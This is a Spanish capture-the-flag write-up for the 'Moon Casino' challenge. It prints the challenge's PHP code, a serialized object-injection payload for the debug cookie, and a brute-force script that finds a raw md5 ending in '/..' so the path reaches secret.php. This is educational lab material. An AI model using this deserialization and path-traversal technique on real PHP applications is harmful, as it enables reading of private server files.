Comenzamos este reto accediendo a la URL http://casino.nn9ed.ka0labs.org (aún sigue disponible).
Nada más entrar vemos una página web con una imagen de fondo de la luna.
Lo primero que se nos ocurre es ver el código fuente y este nos da una siguiente pista para continuar.
La url «http://casino.nn9ed.ka0labs.org/index.php?source=go» nos devuelve el código fuente del propio archivo index.php
<?php session_start(); if ($_GET['source']){ highlight_file(__FILE__); exit(); } class casino_debug { public $var = "path"; public function __wakeup(){ var_dump($_SESSION); echo file_get_contents($_SESSION[$this->var]); } } if (!empty($_GET['action']) && $_GET['action'] == "debug") { echo base64_decode($_COOKIE['debug']); unserialize(base64_decode($_COOKIE['debug'])); exit(); } if (!empty($_GET['action']) && $_GET['action'] == "bet" && !empty($_POST['bet']) && !empty($_POST['guess'])) { if (strpos($_POST['bet'], "/") !== false) { echo "HACK ATTEMPT!!!eleven!!1!"; exit(); } $_SESSION['path'] = __FILE__; $_SESSION['bet'] = md5($_POST['guess'], TRUE) . "/". $_POST['bet']; // Unfair :( if (rand() === $_POST['guess']) { echo "You win:" . file_get_contents("secret.php"); } else { echo "You lose :)"; } } ?> <html> <head> <title>Moon Casino (under construction)</title> <style> body{ background: url(moon.jpg) no-repeat center center fixed; } </style> </head> <body> <!-- index.php?source=go --!> </body> </html>
Después de realizar un estudio del código estático sacamos varias conclusiones:
- La comparación estricta «===» es imposible de cumplir ya que se intenta comparar un entero de una función rand() con un string o array, por lo que hay que seguir otras vías para leer el archivo «secret.php» que es donde (suponemos) que está la flag.
// Unfair :( if (rand() === $_POST['guess']) { echo "You win:" . file_get_contents("secret.php"); } else { echo "You lose :)"; }
- El método unserialize suele ser famoso por su gran número de fallos de seguridad por lo que vamos a seguir esa via.
unserialize(base64_decode($_COOKIE['debug']));
Realizando una búsqueda rápida en google, nos encontramos con este link https://nitesculucian.github.io/2018/10/05/php-object-injection-cheat-sheet/, donde se hace referencia a los «PHP magic method» con unserialize que permite realizar llamadas a métodos del tipo «__wakeup» o «__destruct«, por suerte uno de esos métodos se encuentra en el archivo «index.php» dentro de la clase «casino_debug«. Vamos por buen camino 🙂
class casino_debug { public $var = "path"; public function __wakeup(){ var_dump($_SESSION); echo file_get_contents($_SESSION[$this->var]); } }
Inyectando nuestro payload «O:12:»casino_debug»:1:{s:3:»var»;s:3:»bet»;}» (encodeado en base64) dentro del parámetro debug de la cookie, haremos que se realice una llamada al parámetro «bet» que se encuentra en nuestra «sesión» y que la ruta que contenga ese parámetro sea llamado con la función «file_get_contents«, es decir, que si conseguimos añadir (de alguna manera) la ruta al archivo secret.php dentro de ese valor «bet» de la sesión, tendremos (seguramente) nuestro flag.
La única forma de alterar el parámetro «bet» de la sesión es utilizando los parámetros «guest» y «bet» mediante el método POST.
$_SESSION['path'] = __FILE__; $_SESSION['bet'] = md5($_POST['guess'], TRUE) . "/". $_POST['bet'];
La cosa se complica cuando hay que construir con esos parámetros («guest» y «bet«) un path correcto hacia el archivo «secret.php» para que este sea correctamente llamado por la función «file_get_contents«.
O:12:"casino_debug":1:{s:3:"var";s:3:"bet";}array(2) { ["path"]=> string(23) "/var/www/html/index.php" ["bet"]=> string(27) "ÄÊB8 ¹# ÌPou/secret.php" }
Sabiendo que con la comparación estricta «===» del rand no es el camino correcto (tal y como se comenta al principio), la única vía es generar un «md5» que termine «/..» para conseguir una ruta del tipo «/var/www/html/xxx/../secret.php«. Por suerte la forma con la que se genera ese md5() es en raw y este devuelve caracteres en formato binario.
Con este script haremos fuerza bruta hasta conseguir un resultado correcto (nos llevó unos 20 segundos):
function getrandomstring($length) { global $template; settype($template, "string"); $template = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; settype($length, "integer"); settype($rndstring, "string"); settype($a, "integer"); settype($b, "integer"); for ($a = 0; $a <= $length; $a++) { $b = rand(0, strlen($template) - 1); $rndstring .= $template[$b]; } return $rndstring; } $i = 0; do { $word = getrandomstring(4); $md5 = md5($word, TRUE); if (substr($md5, -3) == "/..") { echo $word; echo "\n"; echo $md5; echo "\n"; } } while (True);
Una vez obtenido un resultado correcto (en nuestro caso: iwxQs), realizamos la petición para alterar el parámetro «bet» de la sesión.
Comprobamos que la ruta es correcta.
Ya tenemos nuestra flag.